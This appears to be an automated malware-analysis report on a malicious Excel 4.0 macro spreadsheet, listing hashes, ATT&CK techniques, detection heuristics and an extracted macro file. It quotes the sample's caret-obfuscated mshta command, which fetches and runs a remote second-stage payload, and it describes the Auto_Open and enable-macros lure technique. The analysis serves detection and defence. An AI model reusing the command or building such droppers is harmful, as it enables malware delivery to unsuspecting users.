Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 5a8e8fd5aa4f4202…

MALICIOUS

Office (OLE) / .XLS

65.9 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: b16e83c594b841db41bca22c2dd9dcb6 SHA-1: 57ac97ecab54fdd68eeaf7c09b87982996989c96 SHA-256: 5a8e8fd5aa4f42028aa4477abc3bbd2ab20de7656f931ef28d8b5452d35f6c4e
100 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The macro constructs and executes the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which is designed to download a second-stage payload from the specified URL. The document body also contains a lure to enable macros, further supporting its malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes